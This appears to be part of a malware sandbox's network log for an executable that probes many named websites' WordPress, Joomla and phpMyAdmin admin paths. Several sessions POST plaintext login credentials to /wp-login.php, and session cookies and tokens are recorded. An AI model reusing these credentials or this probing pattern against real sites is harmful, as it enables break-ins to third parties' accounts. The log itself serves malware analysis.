2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e 33 30 2d 64 61 79 20 6d 6f 6e 65 79 20 62 61 63 6b 20 67 75 61 72 61 6e 74 65 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 72 6f 6b 65 74 2d 73 69 64 65 2d 69 63 6f Data Ascii: g src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" alt></div><div class="content"><span>30-day money back guarantee</span></div></li><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/roket-side-ico
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 65 6e 22 3e 24 32 2c 34 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 42 75 79 20 6e 6f 77 20 66 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 34 39 35 3c 2f 73 70 61 6e 3e 20 6f 72 20 70 61 79 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 30 37 2e 39 32 3c 2f 73 70 61 6e 3e 20 70 65 72 20 6d 6f 6e 74 68 20 66 6f 72 20 31 32 20 6d 6f 6e 74 68 73 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 6f 77 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6c Data Ascii: en">$2,495</span></p></div><div class="tablet-block-s"><p class="text-center">Buy now for <span class="green">$2,495</span> or pay <span class="green">$207.92</span> per month for 12 months</p><div class="tablet-block-row"><div class="tablet-block-l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	61102	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	213	OUT	GET /wp-admin/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://webstamp.ca/wp-login.php
2023-11-26 05:59:39 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:39 UTC	646	IN	Data Raw: 32 37 61 0d 0a 2f 77 70 2d 61 64 6d 69 6e 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27a/wp-admin/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	61186	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	330	OUT	POST /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://samson.pe/wp-login.php Content-Length: 141 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:38 UTC	141	OUT	Data Raw: 6c 6f 67 3d 6a 6d 61 6c 64 6f 6e 61 64 6f 26 70 77 64 3d 37 31 32 33 73 61 6d 73 6f 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 49 6e 69 63 69 61 72 2b 73 65 73 69 25 43 33 25 42 33 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 73 61 6d 73 6f 6e 2e 70 65 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=jmaldonado&pwd=7123samson&rememberme=forever&wp-submit=Iniciar+sesi%C3%B3n&redirect_to=https%3A%2F%2Fsamson.pe%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:39 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:39 UTC	813	IN	Data Raw: 32 34 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 2432<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:39 UTC	8461	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	61317	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	398	OUT	POST /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=7mfvhmb4mfea9682fccpeuhhfb User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://coralparkchristian.org/wp-login.php Content-Length: 140 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:39 UTC	140	OUT	Data Raw: 6c 6f 67 3d 6d 61 69 6e 6f 66 66 69 63 65 26 70 77 64 3d 54 30 4a 52 58 34 57 54 53 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=mainoffice&pwd=T0JRX4WTS&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fcoralparkchristian.org%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:39 UTC	522	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 72 2d 63 66 2d 6c 69 73 74 5f 65 6d 61 69 6c 5f 73 65 6e 64 5f 74 6f 3d 64 65 6c 65 74 65 64 3b Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wr-cf-list_email_send_to=deleted;
2023-11-26 05:59:39 UTC	4226	IN	Data Raw: 31 30 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e Data Ascii: 107a<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Con
2023-11-26 05:59:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	61230	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	932	OUT	GET /administrator/index.php HTTP/1.1 Host: www.knu.ac.in Accept: / Accept-Encoding: deflate, gzip Cookie: laravel_session=eyJpdiI6IldVSVdPNGdUR2JDN2tFR2tvcjMzVXc9PSIsInZhbHVlIjoiR29jOElPY2pHK2ZKdjF3WnkwSWljS0sxNjMyc3Rrb3RZM0hsRHU0ZU1HN05jaEV6UVQyL2RLajNSV0VZYllpU2VObUhVVEdQVDE5OHRHUlZ1czZtOWozL0FJSUNFOTFTM255UW5tbzJ2MVhrdnp3VWgrUS9abDhpN1VkSW1SdDQiLCJtYWMiOiI1NmYxZWE0YTI5ZmE1NzcxMGY4NjhmMGJkZDFlOTcyZWNiYTIyMWQ0Nzk1N2RhMzgyYzNjYjhjMzMxOTIxMjM3In0%3D; XSRF-TOKEN=eyJpdiI6IkFPalpTRG5rdmUxUmNpVVMyVW9VL0E9PSIsInZhbHVlIjoiVmN5VjBEN0doZmxEdWNNOXh2RVFoUzNjb0pHcEdNZDZ2ay9zaWladjB5bmtoMk5HcTloeWZBb0p0aXBnK2kvQTVrOHpkOW8yelBQTmYzZDN0bWQwNnFnZENVTXN5OVBIdnJwYk9TTGpCa1o5TXZaMWZkZ1ZtdXIwcXdhMjFmZlQiLCJtYWMiOiI5OGQyNjEwOGYxMmJlNjUzZDYxZTEyMjM3ZjEzMWJkM2E0NjU0NzE5MzYyYjAyMTA5ZmY5MGY3NDZkNmI4NTk1In0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.knu.ac.in/administrator/
2023-11-26 05:59:39 UTC	1099	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6b 45 7a 57 56 68 31 4d 57 4a 70 54 55 78 72 62 7a 64 54 4d 48 4a 6f 56 30 35 56 4e 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 6d 64 4f 63 57 46 52 53 58 64 58 56 6c 4d 72 4d 55 39 55 62 48 70 32 4f 48 63 72 5a 54 6c 6a 54 6d 52 31 4d 6d 52 6e 61 57 49 77 4e 45 4e 77 63 58 52 53 59 33 6c 4b 4b 32 56 6f 52 46 68 4a 52 54 4a 5a 56 69 74 6c Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6IkEzWVh1MWJpTUxrbzdTMHJoV05VN2c9PSIsInZhbHVlIjoiTmdOcWFRSXdXVlMrMU9UbHp2OHcrZTljTmR1MmRnaWIwNENwcXRSY3lKK2VoRFhJRTJZVitl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	61460	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	213	OUT	GET /wp-admin/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://unaj.edu.pe/wp-login.php
2023-11-26 05:59:39 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:39 UTC	15911	IN	Data Raw: 37 39 36 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 796e<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:39 UTC	15188	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 69 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/"> Bi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	61519	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	173	OUT	GET /phpMyAdmin HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:39 UTC	628	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:39 UTC	741	IN	Data Raw: 37 64 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d3b<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
